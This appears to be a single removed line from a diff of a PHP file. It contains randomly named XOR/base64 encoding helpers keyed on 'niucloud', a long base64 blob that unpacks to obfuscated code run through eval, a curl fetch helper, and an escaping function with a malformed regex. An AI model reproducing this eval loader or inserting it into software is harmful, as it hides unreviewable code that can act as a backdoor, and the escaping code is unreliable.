12 |
- <?php
- function sdafsafcsdcertertcvszdfsd($data, $key = '', $expire = 0) { $key = md5(empty ($key) ? 'niucloud' : $key); $data = base64_encode($data); $x = 0; $len = strlen($data); $l = strlen($key); $char = ''; for ($i = 0; $i < $len; $i++) { if ($x == $l) $x = 0; $char .= substr($key, $x, 1); $x++; } $str = sprintf('%010d', $expire ? $expire + time() : 0); for ($i = 0; $i < $len; $i++) { $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256); } return str_replace(array( '+', '/', '=' ), array( '-', '_', '' ), base64_encode($str)); } function sdafsafcsdcertertcvszdrthgrtg($data, $key = '') { $key = md5(empty ($key) ? 'niucloud' : $key); $data = str_replace(array( '-', '_' ), array( '+', '/' ), $data); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $data = base64_decode($data); $expire = substr($data, 0, 10); $data = substr($data, 10); if ($expire > 0 && $expire < time()) { return ''; } $x = 0; $len = strlen($data); $l = strlen($key); $char = $str = ''; for ($i = 0; $i < $len; $i++) { if ($x == $l) $x = 0; $char .= substr($key, $x, 1); $x++; } for ($i = 0; $i < $len; $i++) { if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) { $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1))); } else { $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1))); } } return base64_decode($str); } $cc1b15e2130a6e2373d1afdd158070bb = "JE8wTzAwMD0iQlJaeE9YSFFDZWJhbE5kb3JxekFmRm5XeVNVaHZFcExKc0tWdXRQbWlrSURZandNZ1RjR0NQb1RuSUJMRnp0dnlzWmhhVXJkcFdWUmdOWFNPRGxtRVFKTXhIcWV1QWJZd0tpamtHZmNxWTlpdkJkSnRlV0hvSXNpd1JzeWJjV2lmV1R5WmVNeFpZUWtaSXN5YmNXaWZXVEh0MlB5dFdUcnpJczBvUjFmTFJQQXQyNDdiQk1yb05DMHZjeXh2MVRld1JzU29jTWZHY1d4b3JRa1pJc3liQlBodlI1YUljb1N3MldBb01UV1plTXhaWVFrWklzeWJCUGh2UjVhSWNvU3cyV0FvTVRZd1JzaG9HUWt3MlRTZjNqa05SNWxaRFdBb2M5eGJCUWtmQk11dGN5S2JjbzF0ZXMwdlI5eGJjU1N0ZVBRb05rbGJCUWt2UndrSmNQeW9leXhvUkxoRTBFRUdBUHBHWDlETVhUV0VnQWtFdXdrTEF5blBXOXNHMFBNR0RYa3FHMDliRlpsdFZzMHdSVFFFZ0FrZmVNMFpJRXhuZ2RBWmNTbGZnMCt2UjVsWkRNMm9SNTBKRkE3YkIwa2ZCRWxaZVcwb05DZVpSNUtaY3lPdHVDRXRleTBQSW95dFZMaEpOQzdiRlBLd1JzaG9OZDliRHNTdzJTeW5LbFZvSUxoYmVXQW9jOXhJMk0yb1I1MEkyVGxmM0x1SkdRa3ZSd2hvUjFpWkJBaEVjc1N3MlN5Sk5Ba3pnZEF3UlBBdDI1cHRSOUFvUmlrcU5DeG9JZmtMUlBBdDI0aEpHUWtFY1dBb2M5eEkyUFNaY0RrcU5kQXdSUEF0MjVwdFI5QW9SaUhxZVp5WkRXQW9jOXhHY3lyWkZTdElOaWtFMjVTdFJYVkpHUWtFY1RsZjNQeXR5OVNmVkVTek5kOWJXSFpuZ0NldDNFeXdSc2hiRmtBd1JQQXQyNXBvY1cwd01RVm9jVzB3TlpaYmNXcmJGUGFiWTArYkZQMkpOQzdiRlBTb2NQT3R5OXlaZU14WkZkOWJCRXlmSU1sZmVNcHQyNUtvTmRWd1JQQXQyNE9FZzRBWnlRVnRlV0hvTlpabXVmT3cyOXhvZXlWbTJNMm9SNTBtVkNoZkZmN2JGUFF2SXMwb1I0a3FOQ2xmM3N5WkZrQXdSUEF0MjVwb0lveXRWUHRFMlRsZjNQeXR1WlpKTmQvYkZQU29jUE90eTl5WmVNeFpXUVZ0Y3lyWmNNeEUxMGtudUN0SUdRa3ZSd2hiUk1IZkJQNUpGUFF2SXMwb1I0bEpOQzdiRlBRdklzMG9SNXB3SUVnd0l5dElOZDliRlBRdklzMG9SNDdiQjBrcE5DWXdSc2hvR2g2WmNXVkpGRVNvY1BPdHVibG1HNXJvSUxoYmVXQW9jOXhJMk0yb1I1MEkyVGxmM0x1bUZkQXRjeXJaY014STJXZ2ZlVzVKR1FrcFJNUWYyTTdiRlBRdklzMG9SNXB3SUVnd0lBa3FOZEF3MldLdmNYN2JCMGt2UndoYlJNSGZCUDVKRlBRdklzMG9SNXB3SUVnd0lBbEpOQzdiY29PZmVNU3cya2tKRlBRdklzMG9SNXB3SUVnd0lBa3dJamtFY1FrcUc0a0VjVGxmM1B5dHVBa3pnQ2xvdWtTb1IxaVpCQWhFY1RsZjNQeXR1QWxiQlFrUElveXRWTDZuZVRsZjNQeXRBTTJvUjUwZmdrQXRjeXJaY014SkdRa3BOQzliQjBrcE5DOSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="; function sdvcadcaweraweszdcxvzvedrg($url, $timeout = 30, $header = array()) { if (!function_exists('curl_init')) { throw new Exception('server not install curl'); } $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); if (!empty($header)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } $data = curl_exec($ch); list ($header, $data) = explode("\r\n\r\n", $data); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 301 || $http_code == 302) { $matches = array(); preg_match('/Location:(.*?)\n/', $header, $matches); $url = trim(array_pop($matches)); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); $data = curl_exec($ch); } if ($data == false) { curl_close($ch); } @curl_close($ch); return $data; } function cwecscwaefsdfsadf($array, $replace) { foreach ($replace as $k => $v) { if ($v == "unset" || $v == "") { unset($array[ $k ]); } else { $array[ $k ] = $v; } } return $array; } function terdhbsdfgvdfeawrwfrwq($string) { if (is_array($string)) { foreach ($string as $key => $val) { $string[ $key ] = ihtmlspecialchars($val); } } else { $string = preg_replace('/&((#(d{3,5}|x[a-fa-f0-9]{4})|[a-za-z][a-z0-9]{2,5});)/', '&\1', str_replace(array( '&', '"', '<', '>' ), array( '&', '"', '<', '>' ), $string)); } return $string; }
|